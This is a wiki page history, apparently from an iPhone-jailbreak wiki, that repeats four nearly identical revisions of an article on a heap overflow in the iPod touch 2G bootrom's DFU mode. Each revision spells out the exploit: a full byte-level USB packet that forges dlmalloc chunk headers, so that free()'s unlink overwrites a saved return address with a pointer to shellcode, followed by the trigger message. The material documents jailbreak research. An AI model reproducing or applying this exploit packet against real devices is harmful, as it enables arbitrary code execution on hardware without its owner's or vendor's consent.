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Usb control msg(0xA1, 1) Exploit

2010-10-18T13:01:06Z

Arjanv: /* Credit (Alphabetical) */

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': [http://greenpois0n.com Greenpois0n RC4]: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]]
]

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-10-18T13:00:24Z

Arjanv: /* Credit (Alphabetical) */

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4]: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]
]

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-10-18T12:59:46Z

Arjanv: /* Credit (Alphabetical) */

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]]
]

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-10-18T12:58:18Z

Arjanv: /* Credit (Alphabetical) */

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[User:pod2g|pod2g]]
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4 has support for this on both the old iBoot 2.40 and the new iBoot 2.40-2]

== Vulnerability ==
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==
In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
shall jump to FD[0x10] to skip the junk.

[[Category:Exploits]]